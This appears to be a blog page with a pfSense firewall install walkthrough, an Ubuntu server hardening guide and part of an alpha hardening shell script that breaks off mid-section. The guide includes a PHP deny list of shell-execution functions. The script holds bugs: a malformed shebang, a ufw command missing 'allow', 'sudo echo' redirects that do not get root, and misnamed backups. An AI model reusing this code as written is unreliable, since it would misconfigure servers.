pfSense is a free, open source customized distribution of FreeBSD tailored for use as a firewall and router. In addition to being a powerful, flexible firewalling and routing platform, it includes a long list of related features and a package system allowing further expandability without adding bloat and potential security vulnerabilities to the base distribution. pfSense is a popular project with more than 1 million downloads since its inception, and proven in countless installations ranging from small home networks protecting a PC and an Xbox to large corporations, universities and other organizations protecting thousands of network devices.

This project started in 2004 as a fork of the m0n0wall project, but focused towards full PC installations rather than the embedded hardware focus of m0n0wall. System also offers an embedded image for Compact Flash based installations, however it is not our primary focus.

Click here for details

It is supported by the open source community under the General Public License (GPL) which makes it Free to all to use. As with many LINUX distribution, The minimum hardware requirements to use pfSense is a computer with the following:

  • CPU – 100 MHz Pentium
  • RAM – 128 MB
  • CD-ROM for initial installation
  • 1 GB hard drive
  • Two Network Interface Cards

Basic Install and Setup
Get p fSense
Download the latest version

Install

Boot your chosen PC with the CD. You will be present with the following “Welcome” screen.
For our basic install, you can press [Enter] for the default option.

pfsense1

PFsense2

If you can see the “Configure Console” screen, chances are there aren’t any changes you need to make to the console. Press the Down arrow on your keyboard to highlight the “<Accept these Setting>” option and press [Enter]

PFSense3

On the “Select Task” window, select the “<Quick/Easy Install>” and press [Enter].

PFSense4

At the “Are you SURE?” screen, confirm your decision to install by highlighting the “< OK >”  option and pressing [Enter].
Any data currently on the first hard drive of the system will be destroyed !

PFSense5

It can take up to 10 minutes for install to finish, depending on your hardware.
installer is formatting your drive and copying the software to your system.

PFSense6

At the “Install Kernel(s)” screen, ensure

“< Symmetric multiprocessing kernel (more than one processor) >” is highlighted and press [Enter].

PFsense7

At the “Reboot” screen, remove the CD and ensure that “< Reboot >” is highlighted and press [Enter].

PFSense8

After the system reboots, you will be presented with the initial “Welcome” menu.
Press [Enter] to select the default

PFSense9

During the boot phase, compatible network interface cards will be displayed.

PFSense10

Since this is a basic setup, we will not want to configure “VLAN”
Type “n” and press [Enter]

PFSense11

From the list of valid interfaces, type the name of the network interface card
that will be connected directly to the Internet (cable modem, dsl, etc)

PFSense12

From the list of valid interfaces, type the name of the network interface card that will be connected to your internal network. This will serve as your “LAN” interface. Repeat this step for each additional network interface card listed as a valid interface  Once you are finished, press the [Enter] to select nothing and move to the next step of the setup.

PFSense13

Confirm that you have selected the correct network interface cards for each interface on
your firewall and type “y” and press [Enter].

PFSense14

Once you are complete this initial setup, you will be presented with the console menu. Your firewall is now up and running. We have finished all configuration steps required to be done from the console. You can actually disconnect the monitor and keyboard from the system (as an added security precaution) for all other configuration will be done via the web console.

PFSense15

Open up the web browser and enter the default IP Address, 192.168.1.1,
Username: admin and Password: pfsense to get to the page as below

1st

After successfully login to your box, you will be presented with the Status Dashboard which provides you with a summary of your system information along with the status of your interfaces installed. The dashboard is configurable and can include additional information about other components of your firewall.

2nd

From the System menu select Setup Wizard

3rd

You should then be greeted with the setup wizard, click the Next button to continue.

4th

Complete the “General Information” section

gen

Change to your local time zone.

time

WAN Interface configuration.
You need to authenticate to your ISP provider in order to access the Internet,

wan

“Configure LAN Interface” screen

lan

After configuring a new password, system will require your login again with the new password.
Click the Reload button to refresh the screen and login with your new password.

reload

Now we have successfully configured the basic router setting

pfsense

Make Sure to check out awesome powerful package manager

package

and also Network monitoring

monitor

Next time we might do Snort IDS Setup

snort

Complete Guide on How To Secure Linux Ubuntu


How to secure an Ubuntu

This guide is intended as a relatively easy < step by step > guide to harden the security on an Ubuntu Server.


1. Firewall – UFW

  • A good place to start is to install a Firewall.
  • UFW – Uncomplicated Firewall is a basic firewall that works very well and easy to configure with its Firewall configuration tool – gufw, or use  Shorewall, fwbuilder, or Firestarter.
  • Use Firestarter GUI to configure your firewall or refer to the Ubuntu Server Guide,  UFW manual pages or the Ubuntu UFW community documentation.
  • Install UFW and enable, open a terminal window and enter :
sudo apt-get install ufw
sudo ufw enable
  •  Check the status of the firewall.
sudo ufw status verbose

Allow SSH and Http services.

sudo ufw allow ssh
sudo ufw allow http


2. Secure shared memory.

  • /dev/shm can be used in an attack against a running service, such as httpd. Modify /etc/fstab to make it more secure.
  • Open a Terminal Window and enter the following :
sudo vi /etc/fstab

Add the following line and save. You will need to reboot for this setting to take effect :

tmpfs     /dev/shm     tmpfs     defaults,noexec,nosuid     0     0

3. SSH Hardening – disable root login and change port.

  • The easiest way to secure SSH is to disable root login and change the SSH port to something different than the standard port 22.
  • Before disabling the root login create a new SSH user and make sure the user belongs to the admin group (see step 4. below regarding the admin group).
  • If you change the SSH port also open the new port you have chosen on the firewall and close port 22.
  • Open a Terminal Window and enter :
sudo vi /etc/ssh/sshd_config
  • Change or add the following and save.
Port <ENTER YOUR PORT>
Protocol 2
PermitRootLogin no
DebianBanner no
  • Restart SSH server, open a Terminal Window and enter :
sudo /etc/init.d/ssh restart

4. Protect su by limiting access only to admin group.

  • To limit the use of su by admin users only we need to create an admin group, then add users and limit the use of su to the admin group.
  • Add a admin group to the system and add your own admin username to the group by replacing <YOUR ADMIN USERNAME> below with your admin username.
  • Open a terminal window and enter:
sudo groupadd admin
sudo usermod -a -G admin <YOUR ADMIN USERNAME>
sudo dpkg-statoverride --update --add root admin 4750 /bin/su

5. Harden network with sysctl settings.

  • The /etc/sysctl.conf file contain all the sysctl settings.
  • Prevent source routing of incoming packets and log malformed IP’s enter the following in a terminal window:
sudo vi /etc/sysctl.conf
  • Edit the /etc/sysctl.conf file and un-comment or add the following lines :
# IP Spoofing protection
net.ipv4.conf.all.rp_filter = 1
net.ipv4.conf.default.rp_filter = 1

# Ignore ICMP broadcast requests
net.ipv4.icmp_echo_ignore_broadcasts = 1

# Disable source packet routing
net.ipv4.conf.all.accept_source_route = 0
net.ipv6.conf.all.accept_source_route = 0 
net.ipv4.conf.default.accept_source_route = 0
net.ipv6.conf.default.accept_source_route = 0

# Ignore send redirects
net.ipv4.conf.all.send_redirects = 0
net.ipv4.conf.default.send_redirects = 0

# Block SYN attacks
net.ipv4.tcp_syncookies = 1
net.ipv4.tcp_max_syn_backlog = 2048
net.ipv4.tcp_synack_retries = 2
net.ipv4.tcp_syn_retries = 5

# Log Martians
net.ipv4.conf.all.log_martians = 1
net.ipv4.icmp_ignore_bogus_error_responses = 1

# Ignore ICMP redirects
net.ipv4.conf.all.accept_redirects = 0
net.ipv6.conf.all.accept_redirects = 0
net.ipv4.conf.default.accept_redirects = 0 
net.ipv6.conf.default.accept_redirects = 0

# Ignore Directed pings
net.ipv4.icmp_echo_ignore_all = 1
  • To reload sysctl with the latest changes, enter:
sudo sysctl -p

6. Disable Open DNS Recursion and Remove Version Info  – BIND DNS Server.

  • Open a Terminal and enter the following :
sudo vi /etc/bind/named.conf.options
  • Add the following to the Options section :
recursion no;
version "Not Disclosed";
  • Restart BIND DNS server. Open a Terminal and enter the following :
sudo /etc/init.d/bind9 restart

7. Prevent IP Spoofing.

  • Open a Terminal and enter the following :
sudo vi /etc/host.conf
  • Add or edit the following lines :
order bind,hosts
nospoof on


8. Harden PHP for security.

  • Edit the php.ini file :
sudo vi /etc/php5/apache2/php.ini
  • Add or edit the following lines an save :
disable_functions = exec,system,shell_exec,passthru
register_globals = Off
expose_php = Off
display_errors = Off
track_errors = Off
html_errors = Off
magic_quotes_gpc = Off
  • Restart Apache server. Open a Terminal and enter the following :
sudo /etc/init.d/apache2 restart


9. Restrict Apache Information Leakage.

  • Edit the Apache2 configuration security file :
sudo vi /etc/apache2/conf.d/security
  • Add or edit the following lines and save :
ServerTokens Prod
ServerSignature Off
TraceEnable Off
Header unset ETag
FileETag None
  • Restart Apache server. Open a Terminal and enter the following :
sudo /etc/init.d/apache2 restart

10. Scan logs and ban suspicious hosts – DenyHosts and Fail2Ban.

  • DenyHosts is a python program that automatically blocks SSH attacks by adding entries to /etc/hosts.deny. DenyHosts will also inform Linux administrators about offending hosts, attacked users and suspicious logins.
  • Open a Terminal and enter the following :
sudo apt-get install denyhosts
  • After installation edit the configuration file /etc/denyhosts.conf  and change the email, and other settings as required.
  • To edit the admin email settings open a terminal window and enter:
sudo vi /etc/denyhosts.conf
  • Change the following values as required on your server :
ADMIN_EMAIL = root@localhost
SMTP_HOST = localhost
SMTP_PORT = 25
#SMTP_USERNAME=foo
#SMTP_PASSWORD=bar
SMTP_FROM = DenyHosts nobody@localhost
#SYSLOG_REPORT=YES
  • Fail2ban is more advanced than DenyHosts as it extends the log monitoring to other services including SSH, Apache, Courier, FTP, and more.
  • Fail2ban scans log files and bans IPs that show the malicious signs — too many password failures, seeking for exploits, etc.
  • Generally Fail2Ban then used to update firewall rules to reject the IP addresses for a specified amount of time, although any arbitrary other action could also be configured.
  • Out of the box Fail2Ban comes with filters for various services (apache, courier, ftp, ssh, etc).
  • Open a Terminal and enter the following :
sudo apt-get install fail2ban
  • After installation edit the configuration file /etc/fail2ban/jail.local  and create the filter rules as required.
  • To edit the settings open a terminal window and enter:
sudo vi /etc/fail2ban/jail.conf
  • Activate all the services you would like fail2ban to monitor by changing enabled = false to enabled = true
  • For example if you would like to enable the SSH monitoring and banning jail, find the line below and change enabled from false to true. Thats it.
[ssh]

enabled  = true
port     = ssh
filter   = sshd
logpath  = /var/log/auth.log
maxretry = 3
  • If you have selected a non-standard SSH port in step 3 then you need to change the port setting in fail2ban from ssh which by default is port 22, to your new port number, for example if you have chosen 1234 then port = 1234
[ssh]

enabled  = true
port     = <ENTER YOUR SSH PORT NUMBER HERE>
filter   = sshd
logpath  = /var/log/auth.log
maxretry = 3
  • If you would like to receive emails from Fail2Ban if hosts are banned change the following line to your email address.
destemail = root@localhost
  • and change the following line from :
action = %(action_)s
  • to:
action = %(action_mwl)s
  • You can also create rule filters for the various services that you would like fail2ban to monitor that is not supplied by default.
sudo vi /etc/fail2ban/jail.local
  • Good instructions on how to configure fail2ban and create the various filters can be found on HowtoForge – click here for an example
  • When done with the configuration of Fail2Ban restart the service with :
sudo /etc/init.d/fail2ban restart
  • You can also check the status with.
sudo fail2ban-client status

11. Intrusion Detection – PSAD.

  • Cipherdyne PSAD is a collection of three lightweight system daemons that run on Linux machines and analyze iptables log messages to detect port scans and other suspicious traffic.
  • Currently version 2.1 causes errors during install on Ubuntu 12.04, but apparently does work. Version 2.2 resolves these issues but is not yet available on the Ubuntu software repositories. It is recommended to manually compile and install version 2.2 from the source files available on the Ciperdyne website.
  • To install the latest version from the source files follow these instruction : How to install PSAD Intrusion Detection on Ubuntu 12.04 LTS server
  • OR install the older version from the Ubuntu software repositories, open a Terminal and enter the following :
sudo apt-get install psad

12. Check for rootkits – RKHunter and CHKRootKit.

  • Both RKHunter and CHKRootkit basically do the same thing – check your system for rootkits. No harm in using both.
  • Open a Terminal and enter the following :
sudo apt-get install rkhunter chkrootkit
  • To run chkrootkit open a terminal window and enter :
sudo chkrootkit
  • To update and run RKHunter. Open a Terminal and enter the following :
sudo rkhunter --update
sudo rkhunter --propupd
sudo rkhunter --check

13. Scan open ports – Nmap.

  • Nmap (“Network Mapper”) is a free and open source utility for network discovery and security auditing.
  • Open a Terminal and enter the following :
sudo apt-get install nmap
  • Scan your system for open ports with :
nmap -v -sT localhost
  • SYN scanning with the following :
sudo nmap -v -sS localhost

14. Analyse system LOG files – LogWatch.

  • Logwatch is a customizable log analysis system. Logwatch parses through your system’s logs and creates a report analyzing areas that you specify. Logwatch is easy to use and will work right out of the package on most systems.
  • Open a Terminal and enter the following :
sudo apt-get install logwatch libdate-manip-perl
  • To view logwatch output use less :
sudo logwatch | less
  • To email a logwatch report for the past 7 days to an email address, enter the following and replace mail@domain.com with the required email. :
sudo logwatch --mailto mail@domain.com --output mail --format html --range 'between -7 days and today'

15. SELinux – Apparmor.

  • National Security Agency (NSA) has taken Linux to the next level with the introduction of Security-Enhanced Linux (SELinux). SELinux takes the existing GNU/Linux operating system and extends it with kernel and user-space modifications to make it bullet-proof.
  • More information can be found here. Ubuntu Server Guide – Apparmor
  • It is installed by default since Ubuntu 7.04.
  • Open a Terminal and enter the following :
sudo apt-get install apparmor apparmor-profiles
  • Check to see if things are running :
sudo apparmor_status


16. Audit your system security – Tiger.

  • Tiger is a security tool that can be use both as a security audit and intrusion detection system.
  • Open a Terminal and enter the following :
sudo apt-get install tiger
  • To run tiger enter :
sudo tiger
  • All Tiger output can be found in the /var/log/tiger
  • To view the tiger security reports, open a Terminal and enter the following :
sudo less /var/log/tiger/security.report.*

The Ubuntu Server Secure script

script

Requirements:

  • Ubuntu
  • Unity or Gnome Desktop installed.
  • Zenity installed.
!/bin/sh
#
# Ubuntu Server Secure script v0.1 alpha by The Fan Club 
# 
# - Zenity GUI installer version
#
echo
echo "* Ubuntu Server Secure script v0.1 alpha by The Fan Club"
echo 
echo "DISCLAIMER: Use with care. This script is provided purely for alpha testing and can harm your system if used incorrectly"
echo "NOTE: This is a GUI installer script that depends on zenity."
echo "NOTE: Run this script with  gksudo sh /path/to/script/ubuntu-server-secure.sh"
# Local Variables
TFCName="Ubuntu Server Secure"
TFCVersion="v0.1 alpha"
UserName=$(whoami)
LogDay=$(date '+%Y-%m-%d')
LogTime=$(date '+%Y-%m-%d %H:%M:%S')
LogFile=/var/log/uss_$LogDay.log
#
# Start of Zenity code 
#
selection=$(zenity  --list  --title "$TFCName $TFCVersion" --text "Select the security features you require" --checklist  --width 480 --height 550 \
--column "pick" --column "options" \
FALSE " 1. Install and configure Firewall - ufw" \
FALSE " 2. Secure shared memory - fstab" \
FALSE " 3. SSH - Disable root login and change port" \
FALSE " 4. Protect su by limiting access only to admin group" \
FALSE " 5. Harden network with sysctl settings" \
FALSE " 6. Disable Open DNS Recursion" \
FALSE " 7. Prevent IP Spoofing" \
FALSE " 8. Harden PHP for security" \
FALSE " 9. Install and configure ModSecurity" \
FALSE "10. Protect from DDOS attacks with ModEvasive" \
FALSE "11. Scan logs and ban suspicious hosts - DenyHosts" \
FALSE "12. Intrusion Detection - PSAD" \
FALSE "13. Check for RootKits - RKHunter" \
FALSE "14. Scan open Ports - Nmap" \
FALSE "15. Analyse system LOG files - LogWatch" \
FALSE "16. SELinux - Apparmor" \
FALSE "17. Audit your system security - Tiger" \
--separator=","); 

if [ ! "$selection" = "" ] 
  then
    # Start of Zenity Progress code 
    echo "$LogTime uss: [$UserName] * $TFCName $TFCVersion - Install Log Started" >> $LogFile
    (
    echo "5" ; sleep 0.1
    # 1. Install and configure Firewall
       option=$(echo $selection | grep -c "ufw")
       if [ "$option" -eq "1" ] 
         then
           echo "$LogTime uss: [$UserName] 1. Install and configure Firewall - ufw" >> $LogFile
           echo "# 1. Install and configure :Firewall - ufw"
           echo "# Check if ufw Firewall is installed..."
           echo "$LogTime uss: [$UserName] Check if ufw Firewall is installed..." >> $LogFile
           if [ -f /usr/sbin/ufw ]
             then
                echo "# ufw Firewall is already installed"
                echo "$LogTime uss: [$UserName] ufw Firewall is already installed" >> $LogFile
                #sudo ufw status verbose | zenity --title "Firewall Status - $TFCName $TFCVersion" --text-info --width 600 --height 400
           fi
           if [ ! -f /usr/sbin/ufw ]
             then
                echo "# ufw Firewall NOT installed, installing..."
                echo "$LogTime uss: [$UserName] ufw Firewall NOT installed, installing..." >> $LogFile
                sudo apt-get install -y ufw 
                sudo ufw enable
                echo "# ufw Firewall installed and enabled"
                echo "$LogTime uss: [$UserName] ufw Firewall installed and enabled" >> $LogFile               
                sudo ufw allow ssh
                     sudo ufw allow http
                    echo "# ufw Firewall ports for SSH and Http configured"
                     echo "$LogTime uss: [$UserName] ufw Firewall ports for SSH and Http configured" >> $LogFile
            fi
         fi
    echo "10" ; sleep 0.1
    # 2. secure shared memory
       option=$(echo $selection | grep -c "fstab")
       if [ "$option" -eq "1" ] 
         then
            echo "# 2. Secure shared memory."
            echo "$LogTime uss: [$UserName] 2. Secure shared memory." >> $LogFile
            echo "# Check if shared memory is secured"
               echo "$LogTime uss: [$UserName] Check if shared memory is secured" >> $LogFile           
            # Make sure fstab does not already contain a tmpfs reference
            fstab=$(grep -c "tmpfs" /etc/fstab)
            if [ ! "$fstab" -eq "0" ] 
              then
                 echo "# fstab already contains a tmpfs partition. Nothing to be done."
                 echo "$LogTime uss: [$UserName] fstab already contains a tmpfs partition. Nothing to be done." >> $LogFile
            fi
            if [ "$fstab" -eq "0" ]
              then
                 echo "# fstab being updated to secure shared memory"
                 echo "$LogTime uss: [$UserName] fstab being updated to secure shared memory" >> $LogFile
                 sudo echo "# $TFCName Script Entry - Secure Shared Memory - $LogTime" >> /etc/fstab
                 sudo echo "tmpfs     /dev/shm     tmpfs     defaults,noexec,nosuid     0     0" >> /etc/fstab
                 echo "# Shared memory secured. Reboot required"
                 echo "$LogTime uss: [$UserName] Shared memory secured. Reboot required" >> $LogFile
            fi
         fi
    echo "15" ; sleep 0.1
    # 3. SSH Hardening - disable root login and change port
       option=$(echo $selection | grep -c "SSH")
       if [ "$option" -eq "1" ] 
         then
           echo "# 3. SSH Hardening - disable root login and change port"
           echo "$LogTime uss: [$UserName] 3. SSH Hardening - disable root login and change port" >> $LogFile 
           sshNewPort=$(zenity --entry --text "Select a new SSH port?" --title "SSH Hardening - $TFCName $TFCVersion" --entry-text "22")
           echo "# Updating SSH settings"
           echo "$LogTime uss: [$UserName] Updating SSH settings" >> $LogFile 
           # Check if Port entry exists comment out old entries
           echo "$LogTime uss: [$UserName] Check if Port entry exists comment out old entries" >> $LogFile 
           sshconfigPort=$(grep -c "Port" /etc/ssh/sshd_config)
           if [ ! "$sshconfigPort" -eq "0" ] 
             then
                # if entry exists use sed to search and replace - write to tmp file - move to original
                sudo sed 's/Port/#Port/g' /etc/ssh/sshd_config > /tmp/.sshd_config
                sudo mv /etc/ssh/sshd_config /etc/ssh/ssh_config.backup
                sudo mv /tmp/.sshd_config /etc/ssh/sshd_config
           fi
           # Check if Protocol entry exists comment out old entries
           echo "$LogTime uss: [$UserName] Check if Protocol entry exists comment out old entries" >> $LogFile            
           sshconfigProtocol=$(grep -c "Protocol" /etc/ssh/sshd_config)
           if [ ! "$sshconfigProtocol" -eq "0" ] 
             then
                # if entry exists use sed to search and replace - write to tmp file - move to original
                sudo sed 's/Protocol/#Protocol/g' /etc/ssh/sshd_config > /tmp/.sshd_config
                sudo mv /etc/ssh/sshd_config /etc/ssh/ssh_config.backup
                sudo mv /tmp/.sshd_config /etc/ssh/sshd_config
           fi
           # Check if PermitRootLogin entry exists comment out old entries
              echo "$LogTime uss: [$UserName] Check if PermitRootLogin entry exists comment out old entries" >> $LogFile            
           sshconfigPermitRoot=$(grep -c "PermitRootLogin" /etc/ssh/sshd_config)
           if [ ! "$sshconfigPermitRoot" -eq "0" ] 
             then
                # if entry exists use sed to search and replace - write to tmp file - move to original 
                sudo sed 's/PermitRootLogin/#PermitRootLogin/g' /etc/ssh/sshd_config > /tmp/.sshd_config
                sudo mv /etc/ssh/sshd_config /etc/ssh/ssh_config.backup
                sudo mv /tmp/.sshd_config /etc/ssh/sshd_config
           fi
           echo "# Write new SSH configuration settings"             
           echo "$LogTime uss: [$UserName] Write new SSH configuration settings" >> $LogFile            
           sudo echo "# $TFCName Script Entry - SSH settings $LogTime" >> /etc/ssh/sshd_config
           sudo echo "Port $sshNewPort" >> /etc/ssh/sshd_config
           sudo echo "Protocol 2" >> /etc/ssh/sshd_config
           sudo echo "PermitRootLogin no" >> /etc/ssh/sshd_config
           echo "# SSH settings update complete"
              echo "$LogTime uss: [$UserName] SSH settings update complete" >> $LogFile            
           zenity --question --title "SSH Hardening - $TFCName $TFCVersion" --text "Open new SSH port $sshNewPort on UFW Firewall ?"
           if [ "$?" -eq "0" ]  
             then
                # open new port on UFW Firewall
                sudo ufw $sshNewPort
                echo "# Port $sshNewPort opened on UFW Firewall"
                echo "$LogTime uss: [$UserName] Port $sshNewPort opened on UFW Firewall" >> $LogFile            
           fi 
           if [ ! "$sshNewPort" -eq "22" ] 
             then
              zenity --question --title "SSH Hardening - $TFCName $TFCVersion" --text "Close old SSH port 22 on UFW Firewall ?"
              if [ "$?" -eq "0" ]
                then
                # close old port on UFW Firewall
                  sudo ufw deny port 22
                  echo "# Port 22 closed on UFW Firewall"
                  echo "$LogTime uss: [$UserName] Port 22 closed on UFW Firewall" >> $LogFile            
              fi 
           fi   
           zenity --question --title "SSH Hardening - $TFCName $TFCVersion" --text "Would you like to restart the SSH server now?"
           if [ "$?" -eq "0" ]
             then
                # restart SSHd
                sudo /etc/init.d/ssh restart
                echo "# SSH server restarted"
                echo "$LogTime uss: [$UserName] SSH server restarted" >> $LogFile            
           fi 
         fi      
    echo "20" ; sleep 0.1
    # 4. Protect su by limiting access only to admin group
       option=$(echo $selection | grep -c "Protect[[:space:]]su")
       if [ "$option" -eq "1" ] 
         then
            echo "# 4. Protect su by limiting access only to admin group"
            echo "$LogTime uss: [$UserName] 4. Protect su by limiting access only to admin group" >> $LogFile 
            # Get new admin group name 
            newAdminGroup=$(zenity --entry --title "Protect su - $TFCName $TFCVersion" --text "Select name of new admin group?"  --entry-text "admin")
            # Check if new group already exists
            echo "# Checking if Group: $newAdminGroup already exists"
            echo "$LogTime uss: [$UserName] Checking if Group: $newAdminGroup already exists" >> $LogFile 
            groupCheck=$(grep -c -w "$newAdminGroup" /etc/group)
            if [ ! "$groupCheck" -eq "0" ] 
              then
                 # group already exists
                 echo "# Group: $newAdminGroup already exists. Group not added"
                 echo "$LogTime uss: [$UserName] Group: $newAdminGroup already exists. Group not added" >> $LogFile     
            fi
            if [ "$groupCheck" -eq "0" ] 
              then
                 # group does not exist create new group
                 echo "# Group: $newAdminGroup does not exist"
                 echo "$LogTime uss: [$UserName] Group: $newAdminGroup does not exist" >> $LogFile     
                 sudo groupadd  $newAdminGroup          
                 echo "# Group: $newAdminGroup added"
                 echo "$LogTime uss: [$UserName] Group: $newAdminGroup added" >> $LogFile     
            fi
            # Add current administrator user to new admin group 
            addAdminUser=$(zenity --entry --title "Protect su - $TFCName $TFCVersion" --text "Which current user should be added to the new admin group?"  --entry-text "admin")
            # Check if user is already part of the admin group
            echo "# Checking if User: $addAdminUser is already part of the Group: $newAdminGroup"
            echo "$LogTime uss: [$UserName] Checking if User: $addAdminUser is already part of the Group: $newAdminGroup" >> $LogFile 
            userCheck=$(groups $addAdminUser | grep -c -w "$newAdminGroup")

            if [ ! "$userCheck" -eq "0" ] 
              then
                 # user is already part of the admin group
                 echo "# User: $addAdminUser is already part of the Group: $newAdminGroup. User not added"
                 echo "$LogTime uss: [$UserName] User: $addAdminUser is already part of the Group: $newAdminGroup. User not added" >> $LogFile     
            fi
            if [ "$userCheck" -eq "0" ] 
              then
                 # user is not part of admin group and needs to be added
                 echo "# User: $addAdminUser is not part of the Group: $newAdminGroup, adding user to group"
                 echo "$LogTime uss: [$UserName] User: $addAdminUser is not part of the Group: $newAdminGroup, adding user to group" >> $LogFile     
                 sudo usermod -a -G $newAdminGroup $addAdminUser     
                 echo "# User: $addAdminUser added to the Group: $newAdminGroup"
                 echo "$LogTime uss: [$UserName] User: $addAdminUser added to the Group: $newAdminGroup" >> $LogFile  
            fi
            # change su permission to limit access only to admin group
            echo "# Checking if dpkg state override aleady exists"
            echo "$LogTime uss: [$UserName] Checking if dpkg state override aleady exists" >> $LogFile 
            dpkgCheck=$(sudo dpkg-statoverride --list | grep -c "4750[[:space:]]/bin/su")
            if [ ! "$dpkgCheck" -eq "0" ] 
              then
                 # dpkg state override already exists. do nothing
                 echo "# User: dpkg state override already exists. Override not set."
                 echo "$LogTime uss: [$UserName] dpkg state override already exists. Override not set." >> $LogFile     
            fi
            if [ "$dpkgCheck" -eq "0" ] 
              then
                 echo "# Setting new dpkg state override"
                 echo "$LogTime uss: [$UserName] Setting new dpkg state override" >> $LogFile 
                 sudo dpkg-statoverride --update --add root $newAdminGroup 4750 /bin/su
                 echo "# dpkg state override done. /bin/su only accessible by $newAdminGroup group members"
                 echo "$LogTime uss: [$UserName] dpkg state override done. /bin/su only accessible by $newAdminGroup group members" >> $LogFile    
            fi
       fi    
    echo "25" ; sleep 0.1
    # 5. Harden network with sysctl settings
       option=$(echo $selection | grep -c "sysctl")
       if [ "$option" -eq "1" ] 
         then
           echo "# 5. Harden network with sysctl settings"
           echo "$LogTime uss: [$UserName] 5. Harden network with sysctl settings" >> $LogFile 
           echo "# Updating sysctl network settings"
           echo "$LogTime uss: [$UserName] Updating sysctl network settings" >> $LogFile 
           # Check if sysctl entry exists comment out old entries
           echo "$LogTime uss: [$UserName] Check if net.ipv4.conf.default.rp_filter entry exists comment out old entries" >> $LogFile 
           sysctlConfig1=$(grep -c "net.ipv4.conf.default.rp_filter" /etc/sysctl.conf)
           if [ ! "$sysctlConfig1" -eq "0" ] 
             then
                # if entry exists use sed to search and replace - write to tmp file - move to original
                sudo sed 's/net.ipv4.conf.default.rp_filter/#net.ipv4.conf.default.rp_filter/g' /etc/sysctl.conf > /tmp/.sysctl_config
                sudo mv /etc/sysctl.conf /etc/sysctl.conf.backup
                sudo mv /tmp/.sysctl_config /etc/sysctl.conf
           fi
           # Check if sysctl entry exists comment out old entries
           echo "$LogTime uss: [$UserName] Check if net.ipv4.conf.all.rp_filter entry exists comment out old entries" >> $LogFile            
           sysctlConfig2=$(grep -c "net.ipv4.conf.all.rp_filter" /etc/sysctl.conf)
           if [ ! "$sysctlConfig2" -eq "0" ] 
             then
                # if entry exists use sed to search and replace - write to tmp file - move to original
                sudo sed 's/net.ipv4.conf.all.rp_filter/#net.ipv4.conf.all.rp_filter/g' /etc/sysctl.conf > /tmp/.sysctl_config
                sudo mv /etc/sysctl.conf /etc/sysctl.conf.backup
                sudo mv /tmp/.sysctl_config /etc/sysctl.conf
           fi
           # Check if sysctl entry exists comment out old entries
              echo "$LogTime uss: [$UserName] Check if net.ipv4.icmp_echo_ignore_broadcasts entry exists comment out old entries" >> $LogFile            
           sysctlConfig3=$(grep -c "net.ipv4.icmp_echo_ignore_broadcasts" /etc/sysctl.conf)
           if [ ! "$sysctlConfig3" -eq "0" ] 
             then
                # if entry exists use sed to search and replace - write to tmp file - move to original
                sudo sed 's/net.ipv4.icmp_echo_ignore_broadcasts/#net.ipv4.icmp_echo_ignore_broadcasts/g' /etc/sysctl.conf > /tmp/.sysctl_config
                sudo mv /etc/sysctl.conf /etc/sysctl.conf.backup
                sudo mv /tmp/.sysctl_config /etc/sysctl.conf
           fi
           # Check if sysctl entry exists comment out old entries
           echo "$LogTime uss: [$UserName] Check if net.ipv4.tcp_syncookies entry exists comment out old entries" >> $LogFile 
           sysctlConfig4=$(grep -c "net.ipv4.tcp_syncookies" /etc/sysctl.conf)
           if [ ! "$sysctlConfig4" -eq "0" ] 
             then
                # if entry exists use sed to search and replace - write to tmp file - move to original
                sudo sed 's/net.ipv4.tcp_syncookies/#net.ipv4.tcp_syncookies/g' /etc/sysctl.conf > /tmp/.sysctl_config
                sudo mv /etc/sysctl.conf /etc/sysctl.conf.backup
                sudo mv /tmp/.sysctl_config /etc/sysctl.conf
           fi
           # Check if sysctl entry exists comment out old entries
           echo "$LogTime uss: [$UserName] Check if net.ipv4.conf.all.accept_source_route entry exists comment out old entries" >> $LogFile            
           sysctlConfig5=$(grep -c "net.ipv4.conf.all.accept_source_route" /etc/sysctl.conf)
           if [ ! "$sysctlConfig5" -eq "0" ] 
             then
                # if entry exists use sed to search and replace - write to tmp file - move to original
                sudo sed 's/net.ipv4.conf.all.accept_source_route/#net.ipv4.conf.all.accept_source_route/g' /etc/sysctl.conf > /tmp/.sysctl_config
                sudo mv /etc/sysctl.conf /etc/sysctl.conf.backup
                sudo mv /tmp/.sysctl_config /etc/sysctl.conf
           fi
           # Check if sysctl entry exists comment out old entries
              echo "$LogTime uss: [$UserName] Check if net.ipv6.conf.all.accept_source_route entry exists comment out old entries" >> $LogFile            
           sysctlConfig6=$(grep -c "net.ipv6.conf.all.accept_source_route" /etc/sysctl.conf)
           if [ ! "$sysctlConfig6" -eq "0" ] 
             then
                # if entry exists use sed to search and replace - write to tmp file - move to original
                sudo sed 's/net.ipv6.conf.all.accept_source_route/#net.ipv6.conf.all.accept_source_route/g' /etc/sysctl.conf > /tmp/.sysctl_config
                sudo mv /etc/sysctl.conf /etc/sysctl.conf.backup
                sudo mv /tmp/.sysctl_config /etc/sysctl.conf
           fi
                      # Check if sysctl entry exists comment out old entries
           echo "$LogTime uss: [$UserName] Check if net.ipv4.conf.default.accept_source_route entry exists comment out old entries" >> $LogFile 
           sysctlConfig7=$(grep -c "net.ipv4.conf.default.accept_source_route" /etc/sysctl.conf)
           if [ ! "$sysctlConfig7" -eq "0" ] 
             then
                # if entry exists use sed to search and replace - write to tmp file - move to original
                sudo sed 's/net.ipv4.conf.default.accept_source_route/#net.ipv4.conf.default.accept_source_route/g' /etc/sysctl.conf > /tmp/.sysctl_config
                sudo mv /etc/sysctl.conf /etc/sysctl.conf.backup
                sudo mv /tmp/.sysctl_config /etc/sysctl.conf
           fi
           # Check if sysctl entry exists comment out old entries
           echo "$LogTime uss: [$UserName] Check if net.ipv6.conf.default.accept_source_route entry exists comment out old entries" >> $LogFile            
           sysctlConfig8=$(grep -c "net.ipv6.conf.default.accept_source_route" /etc/sysctl.conf)
           if [ ! "$sysctlConfig8" -eq "0" ] 
             then
                # if entry exists use sed to search and replace - write to tmp file - move to original
                sudo sed 's/net.ipv6.conf.default.accept_source_route/#net.ipv6.conf.default.accept_source_route/g' /etc/sysctl.conf > /tmp/.sysctl_config
                sudo mv /etc/sysctl.conf /etc/sysctl.conf.backup
                sudo mv /tmp/.sysctl_config /etc/sysctl.conf
           fi
           # Check if sysctl entry exists comment out old entries
              echo "$LogTime uss: [$UserName] Check if net.ipv4.conf.all.log_martians entry exists comment out old entries" >> $LogFile            
           sysctlConfig9=$(grep -c "net.ipv4.conf.all.log_martians" /etc/sysctl.conf)
           if [ ! "$sysctlConfig9" -eq "0" ] 
             then
